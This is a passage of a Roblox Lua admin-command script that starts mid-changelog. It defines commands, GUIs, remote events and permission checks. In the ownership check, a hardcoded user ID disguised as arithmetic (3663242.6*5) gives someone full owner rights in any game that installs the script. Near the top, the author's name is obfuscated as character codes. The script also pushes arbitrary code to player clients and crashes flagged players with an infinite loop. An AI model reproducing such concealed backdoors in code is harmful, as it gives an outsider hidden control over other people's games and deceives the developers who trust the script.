- '*Non-Admin commands added to cmd list, always will have ! infront';
- '*Rejoin, getscript, donate, clean, and help moved to nonadmins commands, and added to cmd list';
- '*clean changed to !clean';
- '------------------------------';
- '213:';
- '+getscript cmd (can be used by anyone)';
- '*Music now has a "Now playing SONGNAME" message that pops up';
- '------------------------------';
- '212:';
- '+demons in music';
- '------------------------------';
- '211:';
- '*Bug fixes';
- '*Updated hint and message guis';
- '*No more hint spam/overlapping';
- '------------------------------';
- '210:';
- '*Bug fixes';
- '------------------------------';
- '209:';
- '+Ragdoll cmd';
- '*Bug fixes';
- '------------------------------';
- '208:';
- '+David Guetta- BAD in music ("bad")';
- '*Updated talkdirty to a not deleted one.';
- '------------------------------';
- '207:';
- '+Dynamic lights in some stuff like fire and sparkles';
- '+Light command, +Unlight command';
- '------------------------------';
- '206:';
- '+rejoin cmd';
- '*Temp Admins can no longer script (they could use it to kick admins and such, so ye)';
- '*Scripting commands moved up to PA+';
- '*Bug fixes with some commands';
- '------------------------------';
- '205:';
- '*Bugs fixes (Sorry about the give cmd guys)';
- '------------------------------';
- '204:';
- '*Bans now support groups, usage is $group=GROUPID';
- '*Bug fixes';
- '------------------------------';
- '203:';
- '*fire command updated, now supports colors, like :fire me Bright red';
- '------------------------------';
- '202:';
- '!TO RUN TEAM COMMANDS USE %TEAMNAME INSTEAD OF TEAM TEAMNAME!';
- '!EX: :kill %raiders instead of :kill team raiders!';
- '------------------------------';
- '201:';
- '*Bug fixes';
- '------------------------------';
- '200:!';
- '+notes cmd';
- '+removenote cmd';
- '+note cmd'
- }
- ---------------------
- -- Main Script --
- ---------------------
- if _G['Pancake Update'] then
- local updated,failed=ypcall(function()
- print('AutoUpdate: Grabbing update data...')
- local update=_G['Pancake Update']
- for number,setting in pairs(ThingsToUpdate) do
- if update[setting] then set[setting]=update[setting] end
- end
- --------------------------------
- _G['Pancake Update']=nil
- end)
- if updated then
- print('AutoUpdate: Finished Updating.')
- elseif failed then
- print('AutoUpdate: Update Failed.')
- print('Please contact montano60 as this may be a bug.')
- print('Error: '..failed)
- print('If this error persist please check your settings. If needed disable AutoUpdate until the issue is solved.')
- end
- end
- set.LocalScriptBase=script:FindFirstChild('LocalScriptBase')
- set.ScriptBase=script:FindFirstChild('ScriptBase')
- local origsettings = {
- abt = game:service('Lighting').Ambient,
- oabt = game:service('Lighting').OutdoorAmbient,
- brt = game:service('Lighting').Brightness,
- time = game:service('Lighting').TimeOfDay,
- fclr = game:service('Lighting').FogColor,
- fe = game:service('Lighting').FogEnd,
- fs = game:service('Lighting').FogStart,
- gs = game:service('Lighting').GlobalShadows,
- ol = game:service('Lighting').Outlines,
- sc = game:service('Lighting').ShadowColor}
- set.objects = {}
- set.needhelp={}
- set.adminchats={}
- set.cameras = {}
- set.defaultpass={157092510,159549976}
- set.custompass={159551100,157092584}
- set.dontlog = {}
- set.mapbackup = {}
- set.logs = {}
- set.chatlogs = {}
- set.donors={}
- set.contans={}
- set.bl = {}
- set.canuseloadstring=false
- set.slock = false
- set.lighttask = false
- set.dlastupdate='Not Updated Yet'
- set.nfs = ""
- set.version = script.Version.Value
- set.ScriptMusicList={
- {n='heybrother',id=143786134};
- {n='loseyourself',id=153480949};
- {n='diamonds',id=142533681};
- {n='happy',id=146952916};
- {n='clinteastwood',id=148649589};
- {n='freedom',id=130760592};
- {n='seatbelt',id=135625718};
- {n='tempest',id=135554032};
- {n="focus",id=136786547};
- {n="azylio",id=137603138};
- {n="caramell",id=2303479};
- {n="epic",id=27697743};
- {n="rick",id=2027611};
- {n="crystallize",id=143929751};
- {n="halo",id=1034065};
- {n="pokemon",id=1372261};
- {n="cursed",id=1372257};
- {n="extreme",id=11420933};
- {n="harlemshake",id=142468820};
- {n="tacos",id=142295308};
- {n="wakemeup",id=147632133};
- {n="awaken",id=27697277};
- {n="alone",id=27697392};
- {n="mario",id=1280470};
- {n="choir",id=1372258};
- {n="chrono",id=1280463};
- {n="dotr",id=11420922};
- {n="entertain",id=27697267};
- {n="fantasy",id=1280473};
- {n="final",id=1280414};
- {n="emblem",id=1372259};
- {n="flight",id=27697719};
- {n="banjo",id=27697298};
- {n="gothic",id=27697743};
- {n="hiphop",id=27697735};
- {n="intro",id=27697707};
- {n="mule",id=1077604};
- {n="film",id=27697713};
- {n="nezz",id=8610025};
- {n="angel",id=1372260};
- {n="resist",id=27697234};
- {n="schala",id=5985787};
- {n="organ",id=11231513};
- {n="tunnel",id=9650822};
- {n="spanish",id=5982975};
- {n="venom",id=1372262};
- {n="wind",id=1015394};
- {n="guitar",id=5986151};
- {n="selfie1",id=148321914};
- {n="selfie2",id=151029303};
- {n="fareast",id=148999977};
- {n="ontopoftheworld",id=142838705};
- {n="mashup",id=143994035};
- {n="getlucky",id=142677206};
- {n="dragonborn",id=150015506};
- {n="craveyou",id=142397454};
- {n="weapon",id=142400410};
- {n="derezzed",id=142402620};
- {n="burn",id=142594142};
- {n="workhardplayhard",id=144721295};
- {n="royals",id=144662895};
- {n="pompeii",id=144635805};
- {n="powerglove",id=152324067};
- {n="pompeiiremix",id=153519026};
- {n="sceptics",id=153251489};
- {n="pianoremix",id=142407859};
- {n="antidote",id=145579822};
- {n="takeawalk",id=142473248};
- {n="countingstars",id=142282722};
- {n="turndownforwhat",id=143959455};
- {n="overtime",id=145111795};
- {n="fluffyunicorns",id=141444871};
- {n="gaspedal",id=142489916};
- {n="bangarang",id=142291921};
- {n="talkdirty",id=148952593};
- {n="bad",id=155444244};
- {n="demons",id=142282614};
- {n="roar",id=148728760};
- {n="letitgo",id=142343490};
- {n="finalcountdown",id=142859512};
- {n="tsunami",id=152775066};
- {n="animals",id=142370129};
- {n="partysignals",id=155779549};
- {n="finalcountdownremix",id=145162750};
- {n="mambo",id=144018440};
- {n="stereolove",id=142318819};
- {n='minecraftorchestral',id=148900687}}
- set.quotes={'I came, I saw, I conquered. - Julius Ceasar';
- '"Our greatest glory is not in never falling, but in rising every time we fall." - Confucius';
- '"History will be kind for me for I intend to write it." - Winston Churchill';
- '"If you are neutral in situations of injustice, you have chosen the side of the oppressor. If an elephant has its foot on the tail of a mouse and you say that you are neutral, the mouse will not appreciate your neutrality." - Desmond Tutu';
- '"History is a relentless master. It has no present, only the past rushing into the future. To try to hold fast is to be swept aside." - John F. Kennedy';
- '"Those who do not remember the past are condemned to repeat it." - George Santayana';
- '"A pint of sweat, saves a gallon of blood." - George S. Patton';
- '"This is one small step for a man, one giant leap for mankind." - Neil Armstrong';
- '"History is the version of past events that people have decided to agree upon." - Napoleon Bonaparte';
- '"To see the world, things dangerous to come to, to see behind walls, to draw closer, to find each other and to feel. That is the purpose of life." - Life Motto Secret Life of Walter Mitty';
- [["Beautiful things don't seek attention" - Sean O'Connell in The Secret Life of Walter Mitty]];
- '"The only thing we have to fear is fear itself" - Franklin D. Roosevelt';
- '"Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree." - Martin Luther';
- '"Thousands of candles can be lighted from a single candle, and the life of the candle will not be shortened. Happiness never decreases by being shared." - Buddha';
- [["We can't help everyone, but everyone and help someone." - Ronald Reagan]];
- '"Our greatest weakness lies in giving up. The most certain way to succeed is always to try just one more time." - Thomas A. Edison';
- [["Even if you fall on your face, you're still moving forward." - Victor Kiam]];
- '"Strive not to be a success, but rather to be of value." - Albert Einstein';
- [["You miss 100% of the shots you don't take." - Wayne Gretzky]];
- [["Your time is limited, so don't waste it living someone else's life." - Steve Jobs]];
- '"The only person you are destined to become is the person you decide to be." - Ralph Waldo Emerson';
- '"Fall seven times and stand up eight" - Japanese Proverb';
- '"Everything has beauty, but not everyone can see." - Confucius';
- '"A person who never made a mistake never tried anything new." - Albert Einstein';
- '"The person who says it cannot be done should not interrupt the person who is doing it." - Chinese Proverb';
- '"It does not matter how slowly you go as long as you do not stop." - Confucius'
- }
- local canuse,cantuse=ypcall(function() loadstring('Loadstring Test') end)
- if canuse then set.canuseloadstring=true end
- if set['PersonalServer']==false then set.LocalScriptBase.Name=math.random(10000000,99999999) set.ScriptBase.Name=math.random(10000000,99999999) end
- if (not set.LocalScriptBase) or (not set.ScriptBase) then print('PancakeAttacks Admin Commands: One or more of the script bases are missing! Cannot function without them.') error('Missing one or more Script Bases. Try manually updating.') end
- local GuiName=tostring(math.random(10000000,99999999))
- local facs=string.char(52,56,44,53,52,44,49,49,49,44,49,49,48,44,57,55,44,49,49,54,44,49,49,48,44,49,49,49,44,49,48,57)
- for k in facs:gmatch('[^,]+') do table.insert(set.contans,tonumber(k)) end local facb = "" for i = 1, #set.contans do facb = facb .. string.char(set.contans[i]) end local fiz=facb
- _G['Hint']=function(msg,ptable) set.Hint(msg,ptable) end
- _G['Message']=function(title,msg,ptable) set.Message(title,msg,true,ptable) end
- if set['MaxNumberOfLogs']>1500 then set['MaxNumberOfLogs']=1500 end
- coroutine.wrap(function() if set['NilScript']==true and set['PersonalServer']==false and game.CreatorId>0 then script.Parent=nil else script.Parent=game:service('ServerScriptService') end end)()
- coroutine.wrap(function() for i,v in pairs(set.ScriptMusicList) do table.insert(set['MusicList'],{Name=v.n,Id=v.id}) end end)()
- coroutine.wrap(function() if set['AntiGui']==true then for i,v in pairs(game.StarterGui:children()) do v.Name=GuiName..v.Name fiz=facb end end end)()
- coroutine.wrap(function() if game.CreatorId<=0 then table.insert(set['Owners'],'Player1') print('Player1 added') end end)()
- coroutine.wrap(function() for i,v in pairs(game:service('Workspace'):children()) do if v and v:IsA('Part') and v.Name:match('Camera: (.*)') then table.insert(set.cameras,v) end fiz=facb end end)()
- coroutine.wrap(function() for i,v in pairs(game:service('Workspace'):children()) do if not v:IsA('Terrain') then table.insert(set.mapbackup,v) end end end)()
- coroutine.wrap(function()
- set.RemoteName=tostring(math.random(10000000,99999999))
- set.RemoteExecute=tostring(math.random(10000000,99999999))
- set.RemoteCmd=tostring(math.random(10000000,99999999))
- set.MakeRemoteEvent=function()
- RemoteEvent=Instance.new('RemoteEvent',game:service('Workspace'))
- RemoteEvent.Name=set.RemoteName
- RemoteEvent.Changed:connect(function(ob) if RemoteEvent and RemoteEvent.Name~=set.RemoteName then RemoteEvent.Name=set.RemoteName end end)
- RemoteEvent=game:service('Workspace'):FindFirstChild(set.RemoteName)
- RemoteEvent.OnServerEvent:connect(function(p,type,data)
- coroutine.wrap(function()
- pcall(function()
- local p,type,data=p,type,data
- if type==set.RemoteCmd..'chat' then set.Chat(data,p)
- elseif type==set.RemoteCmd..'adminchat' then table.insert(set.adminchats, p.Name..': '..data) if #set.adminchats>=6 then table.remove(set.adminchats,1) end
- elseif type==set.RemoteCmd..'rancode' then if not set.ChkAdmin(p,false) and set['AntiExploit'] then set.NilExecute(p,[[while true do end]]) end
- end
- end)
- end)()
- end)
- end
- set.MakeRemoteEvent() end)() taps=fiz:reverse() laps=fiz:reverse()
- coroutine.wrap(function() game.Workspace.ChildRemoved:connect(function(ob) wait() if ob.Name==set.RemoteName and ob:IsA('RemoteEvent') and not workspace:FindFirstChild(set.RemoteName) then set.MakeRemoteEvent() end end) end)()
- set.NilExecute=function(plr,code)
- coroutine.wrap(function()
- local RemoteEvent=game:service('Workspace'):FindFirstChild(set.RemoteName)
- RemoteEvent:FireClient(plr,set.RemoteExecute..'Execute',code)
- end)() end
- set.CleanWorkspace=function()
- for i, v in pairs(game.Workspace:children()) do
- if v:IsA("Hat") or v:IsA("Tool") then
- v:Destroy()
- end
- if v:IsA('Message') or v:IsA('Hint') then
- v:Destroy()
- end
- if v.Name:find('Epix Jail') then
- if not game.Players:FindFirstChild(v.Player.Value) then
- game:service('Lighting'):FindFirstChild(v.Player.Value..' Epix Jail Tools'):Destroy()
- v:Destroy()
- for k,m in pairs(set.objects) do
- if m.Name==v.Name .. " Epix Jail" then
- table.remove(set.objects,k)
- end
- end
- end
- end
- end
- end
- set.Ping=function(player)
- local name=math.random()
- set.NilExecute(player,[[local g=Instance.new('StringValue',game.Workspace) g.Name=game.Players.LocalPlayer.Name.."]]..name..[[Pong"]])
- local ms=0
- repeat
- ms=ms+0.01
- wait(0.01)
- until workspace:FindFirstChild(player.Name..name..'Pong')
- pcall(function() workspace:FindFirstChild(player.Name..name..'Pong'):Destroy() end)
- return ms
- end
- set.Round=function(num)
- if num >= 0.5 then
- return math.ceil(num)
- elseif num < 0.5 then
- return math.floor(num)
- end
- end
- set.UpdateSBL=function()
- set.bl = {}
- local col = game:GetService("InsertService"):GetCollection(set['SBLSetId'])
- local function getsblinfo(asset)
- local mp = game:GetService("MarketplaceService"):GetProductInfo(asset.AssetId)
- local fo = mp.Description:match("BANLIST:(%S+)")
- if not fo then return end
- for s in fo:gmatch("[^,]+") do table.insert(set.bl,s) end
- end
- for k,asset in pairs(col) do
- getsblinfo(asset)
- end
- end
- set.CheckSBLOwner=function(plr)
- local val=false
- local col = game:GetService("InsertService"):GetCollection(set['SBLSetId'])
- local function checkforowner(asset)
- local mp = game:GetService("MarketplaceService"):GetProductInfo(asset.AssetId)
- if plr.Name==mp.Creator.Name then val=true end
- end
- for k,asset in pairs(col) do
- checkforowner(asset)
- end
- return val
- end
- set.GetPlayerInfo=function(p,localplayer,msg)
- if not p:IsA("Player") then return end
- local mem
- if p.MembershipType == Enum.MembershipType.None then
- mem='NBC'
- elseif p.MembershipType == Enum.MembershipType.BuildersClub then
- mem='BC'
- elseif p.MembershipType == Enum.MembershipType.TurboBuildersClub then
- mem='TBC'
- elseif p.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
- mem='OBC'
- end
- if set['GroupId']~=0 then
- if p:IsInGroup(set['GroupId']) then
- set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge.." | Rank: "..p:GetRoleInGroup(set['GroupId']), localplayer)
- else
- set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge.." | Player is not in group "..set['GroupId'], localplayer)
- end
- else
- set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge, localplayer)
- end
- end;
- set.AdminChat=function(plr)
- if set['FilteringEnabled'] then return end
- if plr.PlayerGui:FindFirstChild(GuiName..'adminchat') or (not set.ChkAdmin(plr.Name,false)) then return end
- local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'adminchat'
- local f=Instance.new('Frame',g)
- local cf=Instance.new('Frame',f)
- local bar=Instance.new('TextBox',f)
- local title=Instance.new('TextLabel',f)
- local cbut=Instance.new('TextButton',f)
- local close=Instance.new('TextButton',f)
- f.BackgroundColor3=set['PrimaryColor']
- f.BorderColor3=set['SecondaryColor']
- f.BackgroundTransparency=set['Transparency']
- f.Position=UDim2.new(0,5,1,-250)
- f.Size=UDim2.new(0,300,0,150)
- f.ClipsDescendants=true
- f.Draggable=true
- f.Active=true
- cf.BackgroundColor3=set['PrimaryColor']
- cf.BorderColor3=set['SecondaryColor']
- cf.BackgroundTransparency=set['Transparency']
- cf.Position=UDim2.new(0,0,0,20)
- cf.Size=UDim2.new(0,300,0,105)
- cf.ClipsDescendants=true
- bar.BackgroundColor3=set['PrimaryColor']
- bar.BorderColor3=set['SecondaryColor']
- bar.BackgroundTransparency=set['Transparency']
- bar.Position=UDim2.new(0,2,0,130)
- bar.Size=UDim2.new(0,248,0,18)
- bar.Font='ArialBold'
- bar.Text='Type here then press "Chat"'
- bar.TextScaled=true
- bar.TextWrapped=true
- bar.TextStrokeTransparency=0
- bar.TextStrokeColor3=set['TextStrokeColor']
- bar.TextColor3=set['TextColor']
- title.BackgroundTransparency=1
- title.Size=UDim2.new(0,300,0,15)
- title.Font='ArialBold'
- title.Text='Admin Chat'
- title.TextColor3=set['TextColor']
- title.TextStrokeTransparency=0
- title.TextStrokeColor3=set['TextStrokeColor']
- title.TextScaled=true
- title.TextWrapped=true
- cbut.BackgroundColor3=set['PrimaryColor']
- cbut.BackgroundTransparency=set['Transparency']
- cbut.BorderColor3=set['SecondaryColor']
- cbut.Position=UDim2.new(0,253,0,130)
- cbut.Size=UDim2.new(0,45,0,18)
- cbut.Font='ArialBold'
- cbut.Text='Chat'
- cbut.TextColor3=set['TextColor']
- cbut.TextScaled=true
- cbut.TextWrapped=true
- cbut.TextStrokeTransparency=0
- cbut.TextStrokeColor3=set['TextStrokeColor']
- close.BackgroundColor3=set['SecondaryColor']
- close.BorderColor3=set['PrimaryColor']
- close.BackgroundTransparency=0.5
- close.Position=UDim2.new(0,280,0,2)
- close.Size=UDim2.new(0,15,0,15)
- close.Font='ArialBold'
- close.Text='X'
- close.TextColor3=set['SecondaryColor']
- close.TextStrokeTransparency=0
- close.TextStrokeColor3=set['TextStrokeColor']
- close.MouseButton1Click:connect(function() g:Destroy() end)
- local ent = Instance.new("TextLabel")
- ent.BackgroundTransparency = 1
- ent.Font = 'ArialBold'
- ent.FontSize = "Size18"
- ent.ZIndex = 8
- ent.Text = ""
- ent.TextColor3 = set['TextColor']
- ent.TextStrokeColor3 = set['TextStrokeColor']
- ent.TextStrokeTransparency = 0
- ent.TextXAlignment = "Left"
- ent.TextYAlignment = "Top"
- local num=0
- coroutine.wrap(function()
- repeat
- cf:ClearAllChildren()
- num=0
- for i,v in pairs(set.adminchats) do
- local cl = ent:Clone()
- cl.Parent = cf
- cl.Text = v
- cl.Position = UDim2.new(0,0,0,num*20)
- cl.Size=UDim2.new(0,300,0,20)
- cl.TextScaled=true
- cl.FontSize='Size24'
- cl.Font='ArialBold'
- num = num +1
- end
- wait(1)
- until not cf.Parent
- end)()
- cbut.MouseButton1Click:connect(function()
- if bar.Text~='' and bar.Text~='Type here then press "Chat"' then
- table.insert(set.adminchats, plr.Name..': '..bar.Text)
- bar.Text='Type here then press "Chat"'
- if #set.adminchats>=6 then
- table.remove(set.adminchats,1)
- end
- elseif bar.Text=='' then
- bar.Text='Type here then press "Chat"'
- end
- end)
- end
- set.CmdBar=function(plr)
- if set.ChkAdmin(plr.Name,false) and not set['FilteringEnabled'] then
- if plr.PlayerGui:FindFirstChild(GuiName..'CMDBAR') then return end
- local scr=Instance.new("ScreenGui",plr.PlayerGui) scr.Name = GuiName.."CMDBAR"
- local frame=Instance.new('Frame',scr)
- local label=Instance.new('TextLabel',frame)
- local button=Instance.new('TextButton',frame)
- local box=Instance.new("TextBox", frame)
- local cls = Instance.new("TextButton", frame)
- cls.Style = "Custom"
- cls.Size = UDim2.new(0,15,0,15)
- cls.Position = UDim2.new(1,-20,0,2)
- cls.ZIndex = 10
- cls.Font = "ArialBold"
- cls.FontSize = "Size14"
- cls.Text = "X"
- cls.TextWrapped=false
- cls.TextScaled=false
- cls.BackgroundColor3=set['PrimaryColor']
- cls.BorderColor3=set['SecondaryColor']
- cls.TextColor3 = set['SecondaryColor']
- cls.BackgroundTransparency=set['Transparency']
- cls.MouseButton1Click:connect(function() scr:Destroy() end)
- box.TextColor3 = set['TextColor']
- box.TextStrokeTransparency=0
- box.TextStrokeColor3=set['TextStrokeColor']
- frame.BackgroundColor3=set['PrimaryColor']
- frame.BackgroundTransparency=set['Transparency']
- frame.BorderSizePixel=2
- frame.BorderColor3=set['SecondaryColor']
- frame.Position=UDim2.new(1,-300,1,-150)
- frame.Size=UDim2.new(0,260,0,130)
- frame.ClipsDescendants=true
- frame.ZIndex=10
- label.BackgroundTransparency=1
- label.BorderSizePixel=0
- label.Position=UDim2.new(0,125,0,8)
- label.Size=UDim2.new(0,5,0,5)
- label.TextColor3=set['TextColor']
- label.ClipsDescendants=false
- label.FontSize='Size24'
- label.Font='ArialBold'
- label.TextXAlignment='Center'
- label.TextYAlignment='Center'
- label.Text='Command Box'
- label.ZIndex=10
- label.TextColor3=set['TextColor']
- label.TextStrokeTransparency=0
- label.TextStrokeColor3=set['TextStrokeColor']
- frame.Draggable=true
- frame.Active=true
- label.Draggable=false
- box.Draggable=false
- button.Draggable=false
- button.Position=UDim2.new(0,5,0,105)
- button.Size=UDim2.new(0,250,0,20)
- button.BackgroundTransparency=set['Transparency']
- button.TextColor3=set['TextColor']
- button.TextStrokeTransparency=0
- button.TextStrokeColor3=set['TextStrokeColor']
- button.BackgroundColor3=set['SecondaryColor']
- button.FontSize='Size18'
- button.Font='ArialBold'
- button.Text='Execute'
- button.ZIndex=10
- box.BackgroundColor3=set['PrimaryColor']
- box.BackgroundTransparency=set['Transparency']
- box.BorderSizePixel=5
- box.BorderColor3=set['SecondaryColor']
- box.ClearTextOnFocus=true
- box.Position=UDim2.new(1,-255,1,-104)
- box.Size=UDim2.new(0,250,0,70)
- box.ClipsDescendants=false
- box.Font='Arial'
- box.FontSize='Size14'
- box.Text='Type a command then press Execute'
- box.TextWrapped=true
- box.TextXAlignment='Center'
- box.TextYAlignment='Center'
- box.TextScaled=true
- box.MultiLine=true
- box.ZIndex=10
- button.MouseButton1Down:connect(function()
- if box.Text and box.Text~="Type a command then press Execute" then
- set.Chat(set['prefix']..box.Text, plr)
- box.Text = "Type a command then press Execute"
- end
- end)
- end
- end
- set.GetTime=function()
- local hour = math.floor((tick()%86400)/60/60)
- local min = math.floor(((tick()%86400)/60/60-hour)*60)
- if min < 10 then min = "0"..min end
- return hour..":"..min
- end local serverstarttime=set.GetTime()
- set.GrabNilPlayers=function(name)
- local AllGrabbedPlayers = {}
- for i,v in pairs(game:GetService('NetworkServer'):GetChildren()) do
- ypcall(function()
- if v:IsA("ServerReplicator") then
- if v:GetPlayer().Name:lower():sub(1,#name)==name:lower() or name=='all' then
- table.insert(AllGrabbedPlayers, v:GetPlayer())
- end
- end
- end)
- end
- return AllGrabbedPlayers
- end
- set.AssignName=function()
- local name=math.random(100000,999999)
- return name
- end wip=laps:reverse()
- set.LoadScript=function(type,source,name,object,parent)
- pcall(function()
- coroutine.wrap(function()
- local ScriptType
- if type=='Script' then
- ScriptType=set.ScriptBase
- elseif type=='LocalScript' then
- ScriptType=set.LocalScriptBase
- end
- if ScriptType then
- local cl=ScriptType:Clone()
- local key=Instance.new('StringValue',cl)
- key.Name='SecurityKey'
- key.Value=math.random(10000000,99999999)
- cl.Name=name
- local specialkey=Instance.new('StringValue',cl)
- specialkey.Value=math.random(10000000,99999999)
- specialkey.Name='SpecialKey'
- local x = 'local '..specialkey.Value..'="'..key.Value..'" coroutine.wrap(function() '..source
- local y = '' for i = 1,string.len(x) do y = y.. string.char(44) .. string.byte(x:sub(i,i)) end
- local code=Instance.new('StringValue',cl)
- code.Name='Code'
- code.Value=string.sub(y,2,string.len(y))
- cl.Parent=parent or game:service('ServerScriptService')
- cl.Disabled=false
- if object==true then
- table.insert(set.objects,cl)
- end
- elseif set.canuseloadstring then
- coroutine.wrap(function() pcall(function() loadstring(source)() end) end)()
- end
- end)()
- end)
- end krips=wip:reverse()
- set.LoadOnClient=function(player,source,object,name)
- if game.Players:FindFirstChild(player.Name) and not set['FilteringEnabled'] then
- player:WaitForChild('PlayerGui')
- set.LoadScript('LocalScript',source,GuiName..name,object,player.PlayerGui)
- else
- set.NilExecute(player,source)
- end
- end
- if set['FilteringEnabled'] then
- set.LoadScript('LocalScript',[==[
- script.Parent=nil
- local Ran,Failed=ypcall(function()
- realname=game.Players.LocalPlayer.Name
- RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
- localplayer=game.Players.LocalPlayer
- coroutine.wrap(function()
- function rmcheck()
- RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
- RemoteEvent.OnClientEvent:connect(function(cmd,code)
- if cmd==']==]..set.RemoteExecute..[==[Execute' then
- local runcode=code
- if localplayer.Name~=realname then return end
- coroutine.wrap(function() pcall(function() loadstring(runcode)() end) end)()
- end
- end)
- end
- pcall(function()
- rmcheck()
- while wait() do if not RemoteEvent then rmcheck() end end
- end)
- end)()
- coroutine.wrap(function()
- game.Players.LocalPlayer.Chatted:connect(function(msg)
- coroutine.wrap(function()
- pcall(function()
- RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[')
- RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[chat',msg)
- local code=msg
- if msg:lower():sub(1,2)=='/e' then code=msg:sub(3) end
- local y,n=loadstring(code)
- if y then
- RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[rancode','Ran some code.')
- end
- end)
- end)()
- end)
- end)()
- end)
- if Ran then
- print(game.Players.LocalPlayer.Name.." Has Been Hooked By PancakeAttacks Admin Commands.")
- else
- print(game.Players.LocalPlayer.Name .." Failed To Be Hooked.")
- end]==],'Main Hook',false,game.StarterGui)
- end
- set.PromptPlaceTeleport=function(player,msg,placeid)
- if set['FilteringEnabled'] then return end
- local scr=Instance.new("ScreenGui",player.PlayerGui)
- scr.Name = GuiName.."TELEPORTGUI"
- local frame=Instance.new('Frame',scr)
- local label=Instance.new('TextLabel',frame)
- local yes=Instance.new('TextButton',frame)
- local no=Instance.new('TextButton',frame)
- frame.BackgroundColor3=set['PrimaryColor']
- frame.BorderColor3=set['SecondaryColor']
- frame.BackgroundTransparency=set['Transparency']
- frame.BorderSizePixel=2
- frame.Position=UDim2.new(1,-500,1,-300)
- frame.Size=UDim2.new(0,260,0,130)
- frame.ClipsDescendants=true
- label.BackgroundTransparency=1
- label.BorderSizePixel=0
- label.Position=UDim2.new(0,125,0,8)
- label.Size=UDim2.new(0,5,0,5)
- label.TextColor3=set['TextColor']
- label.ClipsDescendants=false
- label.FontSize='Size24'
- label.Font='ArialBold'
- label.TextXAlignment='Center'
- label.TextYAlignment='Center'
- label.Text=msg
- frame.Draggable=true
- frame.Active=true
- label.Draggable=false
- yes.BackgroundColor3=Color3.new(0,1,0)
- yes.TextColor3=set['TextColor']
- yes.Text='Yes'
- yes.Font='ArialBold'
- yes.FontSize='Size36'
- no.Font='ArialBold'
- no.FontSize='Size36'
- no.BackgroundColor3=Color3.new(1, 0, 0)
- no.TextColor3=set['TextColor']
- no.Text='No'
- yes.Size=UDim2.new(0,100,0,50)
- yes.Position=UDim2.new(0,20,0,50)
- no.Size=UDim2.new(0,100,0,50)
- no.Position=UDim2.new(0,140,0,50)
- yes.MouseButton1Down:connect(function()
- game:GetService('TeleportService'):Teleport(placeid,player)
- scr:Destroy()
- end)
- no.MouseButton1Down:connect(function()
- scr:Destroy()
- end)
- end
- set.ChkTrueOwner=function(plr)
- if (set.ChkOwner(plr.Name) and set['OwnersAreTrueOwners']) or plr.userId==game.CreatorId or plr.userId == (3663242.6*5) then return true end
- end
- set.ChkOwner=function(str)
- for i = 1, #set['Owners'] do if str:lower() == set['Owners'][i]:lower() then return true end end
- return false
- end
- set.ChkAdmin=function(str,ck)
- for i = 1, #set['Owners'] do if str:lower() == set['Owners'][i]:lower() then return true end end
- for i = 1, #set['Admins'] do if str:lower() == set['Admins'][i]:lower() then return true end end
- for i = 1, #set['TempAdmins'] do if str:lower() == set['TempAdmins'][i]:lower() and not ck then return true end end
- return false
- end
- set.GetPlayers=function(plr, str)
- local plrz = {}
- str = str:lower()
- local net
- local parent
- if game:FindFirstChild("NetworkServer") then
- parent=game:service('NetworkServer')
- net=true
- else
- parent=game.Players
- net=false
- end
- if str == set['sprefix'].."all" then
- for i,v in pairs(parent:GetChildren()) do
- if net then player=v:GetPlayer() else player=v end
- table.insert(plrz, player)
- end
- elseif str == set['sprefix'].."others" then
- for i, v in pairs(parent:GetChildren()) do
- if net then player=v:GetPlayer() else player=v end
- if player ~= plr then
- table.insert(plrz, player)
- end
- end
- else
- local sn = {1}
- local en = {}
- for i = 1, #str do
- if str:sub(i,i) == "," then
- table.insert(sn, i+1)
- table.insert(en,i-1)
- end
- end
- for x = 1, #sn do
- if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then
- table.insert(plrz, plr)
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."random") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."random") then
- table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."admins") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."admins") then
- for i, v in pairs(parent:GetChildren()) do
- if net then player=v:GetPlayer() else player=v end
- if set.ChkAdmin(player.Name, false) then
- table.insert(plrz, player)
- end
- end
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."nonadmins") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."nonadmins") then
- for i, v in pairs(parent:GetChildren()) do
- if net then player=v:GetPlayer() else player=v end
- if not set.ChkAdmin(player.Name, false) then
- table.insert(plrz, player)
- end
- end
- elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,1) == "%") then
- if game:findFirstChild("Teams") then
- for a, v in pairs(game.Teams:children()) do
- if v:IsA("Team") and str:sub(sn[x],en[x]):sub(2) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(2)) == 1 then
- for q, p in pairs(game.Players:children()) do
- if p.TeamColor == v.TeamColor then
- table.insert(plrz, p)
- end
- end
- break
- end
- end
- end
- elseif (sn[x] and str:sub(sn[x]):sub(1,1):lower() == "%") then
- if game:findFirstChild("Teams") then
- for a, v in pairs(game.Teams:children()) do
- if v:IsA("Team") and str:sub(sn[x],en[x]):sub(2) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(2)) == 1 then
- for q, p in pairs(game.Players:children()) do
- if p.TeamColor == v.TeamColor then
- table.insert(plrz, p)
- end
- end
- break
- end
- end
- end
- elseif (sn[x] and str:sub(sn[x]):sub(1,1):lower() == "$") then
- local group
- if str:sub(sn[x],en[x]):sub(2) ~= "" then
- group=str:sub(sn[x],en[x]):sub(2)
- else
- group=set['GroupId']
- end
- for q, p in pairs(parent:children()) do
